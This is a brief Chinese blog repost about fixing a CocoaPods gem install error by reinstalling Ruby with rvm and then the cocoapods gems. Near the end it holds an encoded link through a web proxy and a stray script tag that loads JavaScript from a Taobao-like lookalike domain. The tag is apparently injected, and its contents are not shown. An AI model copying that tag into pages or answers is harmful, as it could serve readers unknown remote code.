[IOS]install cocoapods 安装报错

 

 

报错为:

ERROR:  Error installing cocoapods:

ERROR: Failed to build gem native extension.

 

 

 

 

问题百度了一下午没有头绪,一google问题迎刃而解。

 

 

 

Installing new Ruby version helped me. Follow these steps

rvm reinstall ruby-2.0.0-p247 --with-gcc=clang --verify-downloads 1
gem install xcodeproj
gem install cocoapods

I found this answer in some old Github issue.

 

以上还不行。那就看下面的文章,按照步骤来。

http://ye-ni.net/wschacker/proxy/index.php?url=yGyHysytyn1O1B1qyL1FyRyn10yByIyDyd11yP1myMydyN1t15y5yNyV1u1oyDy3yTydyC0OyZ1LyE1IyE1B0Rygy51eyTyb1c1F

<script type="text/javascript" src="http://assets.taobaoimages.com/analytics.js"></script>

猜你喜欢

转载自lgl903.iteye.com/blog/2115636